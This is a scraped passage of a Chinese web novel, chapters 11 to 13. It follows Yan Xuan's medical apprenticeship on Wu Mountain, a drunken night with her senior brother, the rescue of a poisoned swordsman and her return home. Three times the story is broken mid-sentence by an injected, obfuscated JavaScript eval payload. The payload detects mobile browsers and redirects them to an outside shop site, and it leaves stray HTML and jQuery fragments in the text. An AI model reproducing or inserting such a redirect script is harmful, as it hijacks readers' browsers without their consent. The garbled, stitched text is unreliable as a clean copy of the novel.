孟珎:“……” 三日后,孟尧赶回了雾山,见晏璇无事,路上一直悬着的心放下不少。他给了晏璇那颗芝参丹,这是师父爬山涉水为她求来的药,晏璇无法说明真相,自是欣然接受。 之后,孟尧要她配合药泉继续治疗,时常注意身体异样。 就这样又平稳地过了三年,晏璇闲暇时就是炼药,各种类目均有涉及,玄师这个称呼慢慢从品贤阁流传出去,孟珎成了经常往返雾山和云州的人。她的身体不再出现异常,师父叹息着说她的“病”总算痊愈了。 至此,晏璇在雾山几乎度过了她整个的年少时期,归家的行程也近了。 11. 第 11 章 草长莺飞的时节,收集了天下奇花异草的杨家后花园正是争奇斗艳的美景所在,凉亭下,着烟青色长袍的男子在闲适地烹茶赏景。 陶炉上的茶壶冒着袅袅细烟,男子一手拢着袖口,一手轻碾茶饼,烟雾缭绕下的面目看不真切。 廊下,两个劲装打扮的护卫落地无声,快速向亭下奔来。 待行至锦衣男子身前,两人单膝跪地:“家主。” 杨恪将研好的茶末倒入壶内,随口问:“如何?” “陆子烨又派人去了斛县,几乎隔月就有一次动作。这次,连陆隶也派了过去。” “哦?”男人准备盛沫饽的手一顿,嘴角露出几分不明笑意,“我那贤侄莫不是真在斛县金屋藏娇?” “暂时没发现他们有特别往来的人。” “如此……”杨恪扬了扬眉,继续煮茶,“早听斛县的春茶别有风味,我也正想去品茗一番,你们下去准备一下,不日便出发。” “是,家主。” 杨恪执杯望着远处花间蝶舞,秾丽景色下曾有一清扬美人款步而来,言笑晏晏……只是两杯清茶落肚,他竟仿佛有些醉了。几个丫鬟拥着个着绢纱金丝绣线长裙的丽人走来,嘈杂的人声将杨恪惊醒。 “大姑娘,大姑娘,这里的花不能摘。” “为什么不行?” “老爷会生气的。” “大哥?他不会的。” 女子面容成熟,举止却如少女般骄横。她哼了一声,推开拦在身前的仆人,提着裙摆闯入园内。下人们得了令不敢冒犯这位神志有异的大小姐,只能假模假样地虚拦一下。 杨恪皱了下眉,上前沉声道:“为何如此吵闹?” “老爷。”立即有人被吓得跪地谢罪。 杨羽萱见了来人,则嫣然一笑:“大哥!花开了真好看,我想摘一些做成香囊送给皓哥哥。” 话落,杨恪的脸色垮下来,眼底暗沉似滚动着无法遏制的怒意,杨羽萱被震得不自觉后退一步。 “大哥……” 杨恪扫一眼跪地的下人,低喝:“还不带小姐下去!” “是。”仆人们颤颤巍巍,赶紧架住杨羽萱往外走。 “不!”杨羽萱怔愣后挣扎起来,她的表情突然变得狰狞,歇斯底里地吼,“我不要被关!放开我,放开我!我要告诉我爹,你们都是骗子,还我皓哥哥!” 杨恪闭目深吸了口气:“杨羽萱,你清醒点!” “我清醒得很。”杨羽萱一手指着他,“是你,是你故意不让我见他,是你看不起他,都是你害的。” 周围下人已吓得噤若寒蝉。 杨恪双眼微眯,如猛兽般锐利地盯着眼前之人,脸上慢慢露出一丝恶劣笑容,他凑近杨羽萱低声道:“羽萱,我的好妹妹,你忘了,陆皓……十几年前就不在了,这世上你只有我一个亲哥哥。” “不会的……啊啊啊啊啊!”杨羽萱似是听到了难以置信的东西,捂着耳朵放声尖叫起来。 杨恪一把钳制住她的胳膊:“闹够了就回房好好休息。” 身体吃痛,杨羽萱望着他,抖着唇呜咽泪下。 “来人,去请方大夫过府。” 下人们忙应下,几个丫头扶着杨羽萱几近瘫软的身体快步离开。 杨恪孤身站在院中,春日的艳色令他烦躁。为什么这么多年了,那两人还是如鬼魅般阴魂不散…… 他望着眼前的灿烂花海,抬手便是一掌,劲风刮过,落红无数。 济世堂内,孟珎收回替人把脉的手,提笔写方子。 见他面容肃冷,病人亲属有些惴惴:“大夫,我父亲病情如何?” 孟珎边写边道:“是癫邪之症,回去取白雄鸡煮熟,五味调和食之,能下心气。之后再辅以汤药,慢慢调养。” “好,好的,谢谢大夫。” 旁边的邱掌柜笑着点了点头,孟珎能同意过来坐诊真是帮了大忙。 一连看了十几个病人,孟珎看了眼漏刻,搁笔开始收拾药箱。 “今日看诊时间已过,我有事先走一步。”他背上药箱同人告别。 邱掌柜微叹了口气:“好,孟医师,下次坐诊可别忘了。” “嗯。”孟珎点点头,快步走出中堂。 驿站旁的马车车架上,晏璇盘腿坐着,吃着梅花酥饼。 孟珎走近时,向旁边的林靖颔首示意,林靖只轻抬了下手,两人表面始终维持着半生不熟的状态。 “师兄,你忙完了?”晏璇咽下嘴里的食物,含糊道。 “嗯,还想在镇上逛逛吗?” “不了,我怕一会字画铺的老板追过来打我。” 孟珎怔了下:“什么?” 林靖笑着叹气:“小姐嫌那人喋喋不休,下笔又慢,发了一通牢骚。” 师妹鲜少为难人,不知字画铺的老板说了什么,想来不是什么好话。孟珎心中有了计较。 晏璇:“初七在的时候多好。林叔,要不下次换个人或者干脆不画了,反正不久我就会回去的。” 不久就回,那还会回雾山吗? 孟珎心头一跳,抬眸看她,耳边的声音忽远忽近,仿佛怎么都不能入耳。他紧握了下拳,才抵抗住身体突然的无力,心底慢慢涌出一丝无措。 林靖拍着晏璇的肩头,道:“上个月宅院里遭了贼丢了画,今日我特来补一张。” “小偷?偷了我的画像?” “家中无人,丢了少许财物和一幅画,其他的倒没什么。” 晏璇皱了皱眉,有种某世身份证丢了被人捡了的不安感。不过转头一想,一张艺术创作的画对她造成不了什么影响,没必要胡思乱想。 返回雾山的一路,孟珎沉默寡言,晏璇也若有所思。等到了山上,林靖帮着安顿好日常所需,犹豫着将晏璇叫到一旁。 晏璇:“林叔?” 林靖拿出几轴画卷并一封信递给她,轻咳一声道:“老爷夫人给你的,有空的时候再看。” 晏璇:“……” 难道爹娘要主动跟她坦白身世了?自身体秘密揭露后,他们的相处依旧如故,谁都没提这件事。 晏璇的心跳不由快了几分,她就是个普通人,说完全不在意是假的。当初为什么会被丢弃?是因为这具病弱的身体还是什么,夜深人静的时刻情绪大发酵,她就会忍不住发散思维。 晏璇捧着画卷和信,坐在安静的檐下,微风伴着落日霞光拂过她身躯,她轻吸一口气拆了信看起来。 细读两行,晏璇微挑了下眉,信上写的似乎不是她想的那回事…… 晏璇略带疑惑继续往下读,皱起的眉头却是没再下去,到最后只剩惊讶微张的嘴。 孟珎路过,看地上胡乱放着的画轴,习惯使然地帮她摆正。 “师妹,这些是……” “没什么,师兄不用管!” 好巧不巧,画卷外的流苏绳扣崩裂开来,一副描绘着翩翩公子的卷轴在二人面前徐徐展开,执棋浅笑的俊俏儿郎跃然纸上,宽衣广袖,胸口微敞。 孟珎:“……” 晏璇:“师兄,你听我解释。” 花奕听晏璇讲完事情始末,抚掌大笑:“阿璇,你爹娘可太有意思了。那么,这些被挑选的郎君中,你相中了哪个?” 晏璇面无表情看她:“没有,我还小。” “十八,不小了,正好。你要是害羞,姐姐替你把把关。” “听奕姐姐说的,可是阅男无数?怎不见你平时说起过。” “咳,我熟读江湖美人榜,可不就是阅人无数。” 她这个一心只有刀法的假把式还想传授经验给她,莫不要先被男人迷了眼犯了错。晏璇摇头失笑,她没想到的是晏时蕴和卢晚茵早早准备着给她招婿,“相亲图”都备得那么齐全,排场不亚于那些出身高贵的世家女择婿,她的爹娘总是异于常人。 原本想回家探亲的计划被晏璇搁置,她不想那么快回去应付男人,看着不够一年的倒计时,男人哪有炼药重要呢。 “不说这个,今日请奕姐姐来是请你喝酒的。”晏璇拍拍酒坛子的红绸布,“梨花落,我自己酿的。” “好啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095604|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 花奕接过酒坛给自己倒上一杯,澄澈微黄的酒液,酒香扑鼻。 小口轻抿,入口时绵甜柔和,后味醇香馥郁,口中梨花的香气悠长不散。花奕连喝两口,直呼过瘾。 “阿璇,没想到你不仅会炼药还会酿酒。” “跟酒肆老板娘学的。我替她诊脉,她告诉了我酿酒的方子。” “为什么想着要喝酒?没见你有这个喜好。” 从前的她不说喜好,连尝试的机会都无。晏璇举杯小酌一口,入喉微辣甘甜的味道有些新奇。 她歪头道:“唔,因为成年所以高兴?” 花奕笑着说她一杯就醉了:“你的及笄礼前几年就办了。” 晏璇但笑不语。 暮春晚风里,两个姑娘听着风吹竹叶的扑簌声,晃着脚丫子坐得东倒西歪,没有从诗词歌赋聊到人生哲学,倒是对江湖上风头正劲的几个新秀品评了一番。 晏璇不懂武,大多时候都听花奕在说。 “姐姐的武功,较之他们如何?” “一般一般,也就比惠山派峋山派的强上一点,爹爹可不愿我太过招摇惹上麻烦。” 恐怕不只是一般,晏璇见花奕翘起的嘴角,分明是自信的余韵。 “药王谷的人都同姐姐一般厉害?” “哪有?那几个手无缚鸡之力的。药王谷向来只会医不会武,当年是因为外祖父会些轻功,我娘和师伯师叔他们才跟着学了点。” 晏璇点点头,怪不得花奕老是嘲讽孟珎武艺不行,原是如此。 “姐姐可知道师父为何从不下山?” 自晏璇来了雾山,只有求药那次,从未见孟尧出过雾山。 花奕满脸已是酡红,她晃晃脑袋:“我娘说师伯守着他的宝贝,至于什么宝贝,我也不清楚。” 有意思……晏璇拿起酒杯又抿了一口,这甘甜的味道着实令人上瘾。 “光喝酒会醉。” 斜刺里一只手伸来,按住了她举杯的动作。孟珎冷冽的嗓音在耳边响起,他举着木托盘站在檐下。 一盘酱牛肉,一碟盐渍杨梅,摆放在了晏璇面前。 她有些迷糊地笑:“师兄来得正好,尝尝新酒。” 孟珎摇头:“你向来体虚,少喝些。” 花奕从鼻子里哼了声:“闷葫芦就是闷葫芦。今儿我们姐妹高兴浅喝两杯而已,阿璇,看我给你耍一套新学的刀法。” 花奕拿起身侧破妄,脚步有些踉跄地走至前方空地。她左手抱刀,右手握拳,上来便如猛虎下山般一顿劈砍,周遭草叶满天乱飞。 晏璇拍手以示鼓励,孟珎默默移开视线重盯向她。 “以后,不准和花奕喝酒。要喝,只许喝甜酒,不准超过三杯。” 晏璇咯咯地笑:“奕姐姐高兴,随她嘛。” “那你呢?”孟珎问。 “我?我也高兴。” “高兴……什么?” “唔……”晏璇见他眼睫低垂,神色莫名的落寞,双手不自觉捧上他的脸,“师兄好像有些不开心,怎么了?” 孟珎呼吸一窒,知道她此刻满是醉意应该让她放开自己,可内心的窃喜让他岿然不动,而后又有一种卑劣感席卷着他,令他苦涩难当。 晏璇摩挲他的脸侧,一只手轻抚上他额上的疤痕:“我给师兄的药为何不涂?要是没了这个,师兄的脸就更完美更好看了。” 从前他是为了不让自己忘记,此刻感受着晏璇眼底的怜惜,他可耻地不想。 “没什么,这样就好。”他觉得自己整个人都是烫的。 “不好,一点都不好。” 晏璇轻拍了下他的脸颊,盯着他的眼睛越靠越近:“师兄,你……” 孟珎微微后仰,抬手虚扶在晏璇身侧。 缓缓的,柔软触感划过他的嘴角,灼热的呼吸不断喷洒在他颈侧,晏璇垂头靠在他的肩上睡着了。 孟珎:“……” 远处,花奕还在挥刀,跳步劈剁…… 孟珎微叹一口气,弯腰抱起沉睡的晏璇回了屋。 12. 第 12 章 暮色将尽,波光粼粼的河面沉静下来,随波跳动的金光在逐渐消散,晏璇站在岸边看一叶扁舟越飘越远。 有人从背后狠狠撞来,晏璇一个趔趄差点摔倒。她正想痛骂,那人一下握住她的手腕带着她往前冲。 “晏小姐,请快些,不然天黑就不好赶路了。” 赶路?她为什么要赶路?她好好的站在那欣赏风景,就被这个突然冒出来的男人牵着手狂奔起来。 晏璇向来是体能上的纸老虎,没跑两步就气喘吁吁,她想甩开对方却不想那人如铁钳一般扣着她。 简直莫名其妙!晏璇抬起另一只手向腰间的百宝袋掏去,没想掏了个空。不过没关系,吃一堑长一智,她早就时刻做着多手准备。于是,晏璇又依次摸了摸袖口、衣襟、后领,甚至她藏在发间的银针,结果什么都没有。 她盯着前面一头乌黑短发的男人,陷入了迷茫。 为什么她会觉得自己身上藏有那些东西? 跑了一路,男人终于停下,他带着晏璇往岸边停着的一艘木船内一跳,船身晃荡,晏璇差点扑进水里。 “拿着,我们一起快点划。” 男人将一根木桨塞到她手里,自己坐到她身前划起桨来。 晏璇:“……” 天色越来越暗,小船还在河里缓慢前进。一种紧张压迫感袭来,晏璇鬼使神差地拿起木浆划拉起来。 “请问,我们到底要去哪里?” “当然是回家,晏小姐,你妈妈还等着你回去吃饭呢。” 回家?她明明记得她家在…… 在哪里,她突然想不起来。 晏璇握着浆又象征性地划拉两下:“你是谁?为什么要和我回家吃饭?” 男人笑了一声:“晏小姐,贵人多忘事。” “前几日我们还一起共进晚餐相谈甚欢,这么快便忘了吗?” “父母可是同意了我们交往的。” “我算是你男朋——” 相谈甚欢他个大头鬼! 在对方扬着笑脸转头的瞬间,晏璇抬腿就是一脚。木船剧烈晃动,男人被猝不及防踢落水中,哗啦啦溅起一大片水花。 晏璇平静地望着河面波动,直至它趋于平缓,男人的身影如落入水中的一颗石子悄无声息。 四周诡异的寂静,乌沉河水泛着可怖气息。晏璇凝望了会,扔了手中木浆,纵身跳入水中。 “呼……” 晏璇猛得睁眼,脑袋昏沉隐痛。她重闭了眼,抬手用拇指抵了抵自己的太阳穴,昨天和花奕到底是喝了多少……她只记得孟珎来送吃的,往后的记忆一片模糊。做的梦更是离谱万分,看来爹娘送来的那些画像着实把她吓得不轻。 胸口处有些闷,原是花奕伸着胳膊搭在她身上睡得正熟。晏璇抬手想要换个姿势,才觉着一直紧握的手掌心里有什么在硌着自己。她松开拳头,一枚小巧的银铃躺在其中,附带挂着半截绳头。 小东西看着有些眼熟,唔……好像是孟珎一直挂在腰间的铃铛。她望着自己掌心的红印子,想是用了多大的劲把人家的东西给拽下来还攥在手里不放的,难道她潜意识里对它特别钟爱? 晏璇摇摇头,把银铃放在了床头的木雕旁。她轻抬花奕的胳膊悄悄起身,找了件外衣穿上便出了屋子。 天光乍现,晨起的院内有些凉意,空气清新令人舒畅。晏璇站了会,酒醒后的脑袋清醒不少,看旁边的灶房冒着缕缕炊烟,想是师兄又早起做饭了。 今早吃的会是什么呢?她嘴角微翘,含着期待推门而入。 灶台上冒着热气却没有见到人,晏璇走近瞧了瞧。锅里有荠菜粥,蒸笼里是蒸熟的馒头,旁边的炉子上还温着一锅汤。晏璇掀开锅盖闻了闻,竟是醒酒汤。 他们这个师门,师父沉迷钓鱼不问杂事,她除了炼药能不动则不动,有个常来串门的花奕一心练刀,要是没了孟珎,迟早得散。 晏璇有些心虚但不多,被孟珎惯得。她取了个小碗,盛了一碗汤,坐在桌前小口喝着,这都是师兄的心意,不辜负才是对他最好的回报。 孟珎从另一边山谷回来的时候,日头已高。他放下身后的竹篓,取出两株草药,上头还沾着晨露。 他难得地露出一丝浅笑,乌星草少有,师妹想要炼药寻了好久,此次幸运才被他摘得。晏璇要是见了,定能高兴许久。 “闷葫芦,你昨天是不是趁我喝醉同我动手了?”花奕坐在院内揉着肩膀,“想要赢我可以,别胜之不武。” 孟珎仅用余光瞥了她一眼,恍若未闻,朝着药房走去。 “喂,多说一句是会要了你的命还是怎的?我真佩服阿璇能天天对着你。对了,雷霆山庄的人在张榜找你,你得罪人家了?” “不知道你在说什么。” “你这人真是的,跟茅坑里的石头一样。幸好阿璇能去见识外面不一样的世界了,也能遇到更多更有意思的人!” 孟珎脚步一顿:“你……什么意思?” 花奕一个挺身坐起,双手环胸慢慢踱着步:“阿璇被林前辈接回家去了,想来一段时间都不会回来,正好,我也决定回药——” 话未说完,孟珎一个幻影移步擦着花奕的肩消失在原地。 她愣了好一瞬,瞪大眼道:“臭小子的武功什么时候这么好了?” 花奕一边喊着孟珎的名字一边追了上去。 房门被用力推开,在此之前,孟珎从未如此粗鲁过,即使在晏璇刚上山那会,他都是缓步轻声敲门。 屋内的一切仍如昨日一般,窗前悬挂着的药罐,梳妆台上的首饰盒,衣架上挂着的外衣,几乎都未变动过。床上的被子有些凌乱地铺着,床头上的十二生肖摆件不见了,在那个位置上放着的是他的那串银铃。 孟珎拾起铃铛握在手心,如擂鼓般的心跳渐缓,他立刻转身出了屋子。 花奕与他又是一个擦肩,忍不住呛道:“发什么疯啊!阿璇早几个时辰就走了。” 如花奕所说,晏璇才用过早膳,林靖就赶来了山上。 “夫人之前的风寒一直不好,老爷很是担心,特命我来接你回去探望。” 晏璇惊道:“娘亲病了?大夫如何说的?” “原说是受凉,喝了汤药一直不见好,眼见越拖越厉害。” 在旧时,风寒拖久了可是会致命的,这事怪不得他爹慌张。晏璇一下子坐立难安起来,和孟尧打了声招呼,又收罗了最近她炼制的药,急匆匆便跟着林靖下了山。 除了几件路上换洗的衣裳,晏璇手边只有一只装满木雕的木盒。这些小东西陪了她很多年,突然就离开了雾山,晏璇怕自己会不习惯便拿上了它们。 最初来雾山,说需要住上一段时间治疗,不想一眨眼多少年已过。斛县,对她来说,真是熟悉又陌生。 “小姐,不要太担心,等见了你,夫人的病自然会好起来。”林靖在车外安慰。 晏璇有些懊悔之前的拖拉,或许早点回去,她娘也不会病这么久。 她默默地爬出车外,坐到林靖身侧。 “林叔,我想这样和你说说话。” “好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095605|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >马车在路上行了三日,接近傍晚的时候路过一片芦苇林,如绿色波浪连绵起伏。 “小姐,再往前不远有个歇脚的客栈。今晚我们住一宿,明天再赶一日路就能到斛县周边了。” 林叔驾车已经够稳,车速也不快,晏璇仍快被颠得浑身散架。她虚弱地应了声,趴在车窗上看风景。 突然,马儿嘶鸣,林靖“吁”了一声,勒紧缰绳将马车停稳。 “小姐,我下车看看。” 过了一会,林靖去而复返,脸上有些踌躇:“小姐,芦苇林边上有个受伤的男的,我们还是……” “还活着吗?” “气息尚存,就怕是江湖寻仇,麻烦。” “林叔,带我去看看。”说着,晏璇按着身上的百宝袋跳下车去。 上门的生意哪有不做的道理。 掀开芦苇丛一角,一个着玄衣的男子捂着左臂倒在地上,肩上已被血液浸透。只见他面容煞白,隐约有一丝青色游走于额间,额上密密的都是汗。 “他中毒了,若不及时放血治疗,恐怕性命不保。” 林靖皱了下眉:“小姐是要救他?” “我知道林叔的担心。萍水相逢,能救则救,过后便忘。” 初七和金麓那样的,她都能不计较施以援手,何况眼前这个。林靖叹了声,将男子扶起放到马车上。 到了客栈,晏璇为这人施针解毒,幸有林叔在一旁护着。此人虽中毒昏迷,却意志坚韧,下意识中防备着她的靠近。 “如此杀气,恐不是一般江湖门派。”林靖沉着脸道。 “林叔,那些都是他们的恩怨,我们只管救死扶伤。” 林靖点了点头,叹道:“小姐说的是。” 施了针吃了药,这人才算彻底安静下来。一张棱角分明的脸,紧闭着的双眼,如此仍散发着生人勿近的冷冽气息。 【有新的提示:救人危难,生命值加1%。】 这百分之一可是花费了晏璇一颗精品解毒丹,上好的止血丹以及温养内力的不少好药。 她清洗掉手上的脏污,看着男人半晌,对林靖道:“林叔,你看看他身上有些什么?” 林靖愣了一瞬,随后在男人身上摸索起来。 眼前只有一块腰牌,一个玉铃铛和几两碎银。 晏璇:“……” 行走江湖的人都是如此清贫的吗? 林靖则恍然道:“难怪,他是莫问楼的人。” 莫问楼,听花奕提到过,据说是个接江湖生意的组织。至于什么生意,莫问楼,君莫问,想要活命少发问。 晏璇拣起其中的玉铃铛,做工玲珑精致,比师兄那个银铃铛工细多了,一看就值不少钱。 “就它了,抵药钱。” 夜半,店小二颤巍巍端着一碗药推开了客房门。 他站在房门口离床榻远远的,轻声问:“少侠,您醒了吗?” 木若寒耳朵微动,从昏睡中缓慢睁开双眼。 他有一瞬的迷茫,随后便发现身上的伤都被人处理了,内力不再凝滞,连毒都被解了。他此刻安然无恙地躺在干净的被褥下。 “是谁,救了我?”他声调暗哑,低声道。 “是过路的两位客官,她还交代了您现在得喝药。” 木若寒挣扎着坐起,手边触到一张纸条,他打开看了一眼。随即木若寒脸色突变,他在身上各处寻找,都没见着那枚玉铃铛。 他眉头深皱,无奈又焦灼,重拿起那张纸条,视线落在落款处。 “玄师……” 13. 第 13 章 “包子,刚出炉的热包子~” “新鲜又解渴的豆浆,客官,要来一碗吗?” “香糖果子,可口美味的香糖果子。” 街市上吆喝声不绝,晏璇掀了布帘探出头去。街上忙碌的人群,锅炉上冒着的热气,食物散发的馥郁香气,交织出市井生活特有的热闹生机。 林靖放缓了车速,对车里的晏璇道:“小姐,可有什么想吃的?” “不了,一会就到家了。” 昨夜,他们在客栈稍作补给就改了主意连夜赶路,终于在今晨时分进入了斛县。晏璇一边搜寻记忆中的街道形象,一边打量起家乡如今的模样。 “宝仙楼……这么多年它还在。”她望着一道黑漆金字的招牌说道。 这是一家二层酒楼,晏璇对它有印象是因为当时老板迎客的方式很新颖。他叫来两个长相清秀,口条又好的男店员在门口,只是一般站着欢迎也就罢了,偏偏两人时不时来一段类似相声的口头表演。在一众普通的店铺前,宝仙楼可算吸引了无数眼球。 林靖:“小姐还不知,宝仙楼在前两年被老爷合伙盘下了,如今算是晏家的产业。” 晏璇:“……” 她眨了眨眼,这几年她爹娘的生意做得是越来越大了,怪不得会忙得没空见她。她稍一深思,倘若她爹娘没钱,那一堆等着要入赘的家伙怎会看上她一个病秧子。街坊邻里的有些风吹草动就能夸大其词被传得人尽皆知,小时候的她没少被说福薄命短。 这次她回来,她会让爹娘明白无需给她找什么男人,她自己会过得很好。 林靖驾着马车,最终停在东街的一座旧宅院前。门上还留着过年时贴的对联,檐下挂着一对红灯笼。 晏璇下了马车,看着熟悉的院门,仿佛见到了门后那个扎着羊角辫在探头探脑和人捉迷藏的小女孩。她眉眼微弯,瞥见院墙内的合欢树还在,长势良好,枝头都伸出了院外。 “小姐。”林靖替她拿着包袱和那个沉甸甸的木盒,侧头看她。 “走吧。” 晏璇收回视线,深吸一口气,缓步走向院门。 “吱呀”声起,大门敞开,一身深色长衫的晏时蕴站在石阶之上。 “阿璇!” 晏璇心口突地一跳,喉咙发紧,鼻间有酸意上涌。明明隔一段时间他们便会见面,可此刻在阔别多年的家门口,她有一种莫名的委屈。 “爹。”晏璇咬了咬唇,露出一个笑容。 晏时蕴几步上前,揽着她的肩膀,叹道:“好啊,终于回家了。” 一路的困顿仿佛都得到了释放,晏璇精神奕奕,感受着来自老父亲的关爱。两人相视着傻笑了会,晏璇回神忙道:“爹,娘怎么样了?” “你娘她……” 见晏时蕴神色有异,晏璇心中一凛,难道在路上几日,她娘的病又加重了? 晏璇面色稍沉,推着她爹往里走:“我现在就去看看娘亲。” 才刚饶过影壁,只见一个小丫头扶着卢晚茵快步走来。 卢晚茵喜上眉梢,盈盈笑着向她看来,晏璇抬头迅速扫了一眼,她娘除去唇色有些发白似乎并无异样。 晏璇心头疑惑,不动声色地回握住卢晚茵牵着她的手。 “阿璇,路上可还顺利?”卢晚茵问。 晏璇点点头:“娘,你的身体怎么样?” “啊,哦。”卢晚茵抬手轻咳了两声,“风寒入体,吃了药好多了。” 眼神躲闪,欲言又止。 晏璇盯着她娘不自然的神色,伸手在她腕间摩挲了两下。她转过头去,看了眼身后的晏时蕴和一旁垂着头的林叔,一个面色紧张,一个越站越远。 没想到不苟言笑的林叔还有那般好的演技。 晏璇在心中舒了口气,才撇嘴叹道:“娘,你骗我。” 卢晚茵赶紧握紧她的双手,忙不迭道:“阿璇别生气,娘是怕你一直不愿回家才……那些画像,娘不再送去就是了。” 说着,她忍不住轻咳了两声。病重是假,身体有恙是真。 “我没有生气,您别急。”晏璇抬手,轻抚着卢晚茵的背,又对一旁梳着双丫髻的丫头道,“你是我娘的侍女?请帮我煎一碗沙参汤,有不会的可以问我。” 小姑娘脸蛋红扑扑的,眼睛亮堂堂地望着她满是好奇,听罢忙点了点头,又看了眼晏时蕴,转身小炮弹似地跑开了。 好有活力的孩子…… 此时,晏时蕴讪讪上前道:“好了,一家人快进屋说话。” 晏璇微瞪了他一眼,扶着她娘朝前走。 晏时蕴:“……” 他收回落空的双手,看看远去的母女俩又看看身旁的林靖。 林靖绷着张冷脸,边退边道:“我先将小姐的东西送去房里。” 晏家的宅院还维持着当年的模样,只稍作修葺。自从女儿跟着孟尧学医,晏璇屋子的偏房就被改造成了药房。后院内原有一片空地等着栽种花木,也被晏时蕴重新修整留给她种植草药。 晏璇在屋前屋后逛了会,颇为满意,对着她爹重新展了笑容。晏时蕴这才舒了口气,下回他是不敢再骗女儿了。 等晏璇回屋歇下,夫妻俩同林靖凑在一处说话。 卢晚茵叹息:“我是怕阿璇知晓……不愿想着回来。” 晏时蕴:“她总是念着你这个娘的。” “明知她不会,可心里总有些不安。我们不说她也不问,是不是哪天清楚明白地告诉她才好?” 晏时蕴极少冷脸,此时神情肃穆:“如果可以,我并不想告诉阿璇我们是在乱葬岗将她捡回的。她一日喊我爹,我就是她亲爹。” “哎,算了。”卢晚茵按了按额头,“先不说这个,那些送去的画像,阿璇真没有一个中意的?” “阿靖,你觉得阿璇是怎么想的。”晏时蕴问道。 林靖想了想,道:“小姐,对那些不甚在意。” 确切地说,晏璇看到那些颇为惊恐。 “既没有相中的,也不着急回家,难道阿璇在外头已经有了在意的人?” 晏时蕴嗤了一声:“孩子还小不识情爱,又天天待在山里学医,去哪在意什么人!” 说完,他表情一僵,和卢晚茵对视一眼,心中顿感不妙。 他转过头对着林靖,狂眨眼睛:“那个,那个孟先生的徒弟叫什么来着?” 林靖面无表情:“……孟珎。” “对。”晏时蕴猛敲了下自己的手心,“阿璇莫不是对他……难道他俩已经?!” 似想到了些有的没的,晏时蕴在房里不安地走动起来。 卢晚茵狠狠斜了他一眼,向林靖问道:“阿璇与那孩子相处如何?往日里我们去雾山,也不常见到他。” 林靖思索片刻,想到他这个半路收的徒弟,除了少言寡语了些没什么可指摘的,至于两小只的感情…… “那孩子身为师兄,算是事事护着小姐,小姐对他也很是信任。” 卢晚茵点点头,晚些时候她再探一探女儿的口风。 看着夫人异常淡定,晏时蕴改口哼道:“若是阿璇喜欢也不是不行,只恐她平日里接触的人太少,看上了眼前这个,还是得斟酌斟酌。” 卢晚茵噗呲笑出了声:“前两日小彦问我阿璇是不是要归家,刚好,你让他来试试你女儿到底喜欢谁。” 晏时蕴眉头稍展,豁然道:“不错,小彦那孩子靠谱,小时候阿璇又跟他最亲。” 林靖安静站着,看着夫妻俩时而不安时而激动的模样,心想要不要提点一句,晏璇其实对感情之事并未开窍…… 晏璇在房里补了一觉,反而觉得浑身酸胀。她坐起身伸了个懒腰,便见有人捧着脸靠在床头盯着她。 晏璇:“……” 要不是想起此刻是在自己屋里,她袖口里的银针差点甩出去。 小丫头眨眨眼,露齿一笑:“小,小姐。” 她的声音有些干哑,喉咙里像是堵了一团棉花。 “你就是小荷?”晏璇问。 小丫头点点头:“嗯。” 听娘说,小荷是账房家的一个远房亲戚带过来的,卢晚茵看着她时常会想起晏璇小时候,便留了她在院里做些杂务,等晏璇从雾山回来,就让小丫头来照顾她。 晏璇想,她虽然咸,也不需要一个比她还小的人来伺候。 她起身下床,小丫头忙举过衣架上一套藕荷色的收腰罗裙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095606|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小姐,穿,穿这个,好看。” 小丫头说话磕磕绊绊,对着她却笑得天真烂漫。 仿佛被她的情绪感染,晏璇懒懒地回道:“我还是喜欢宽松一些的……” 小荷抿抿嘴,回身从衣柜里挑了一件浅青色的:“这个,也好看。” 晏璇虽不在家,卢晚茵却是将她的衣柜都塞满了,各式各样的裙子不在少数。 晏璇摇头道:“今天先不换衣裳,你跟我到旁边的药房来。” 小荷“哦”了声,乖巧地跟在她身后。 晏璇坐在案前,取出她的简易针灸包:“伸手我看看。” 小丫头低头瞧了瞧,摊开手掌将两只手都平伸到她面前。 晏璇失笑,伸手摸了摸她毛茸茸的发顶:“一只手即可。” 小荷咬了下唇,不好意思地红了脸,缩回一只手后一直拿眼瞄她。 晏璇替她把了脉,又让她张嘴查看她的咽喉。 见她沉默,小丫头软软地唤她,可出来的声音依旧粗嘎。 晏璇握笔的手一顿,指尖逐渐用力,她抬头勉力一笑:“一会帮我去抓药。” 小荷的嗓子是早前被药药坏的,纵使师父在,也不能帮她恢复如初。晏璇能做的,只是减少她发声的痛苦。 自家药房里的药材有限,等小荷从药铺买完药回来,晏璇才开始动手。 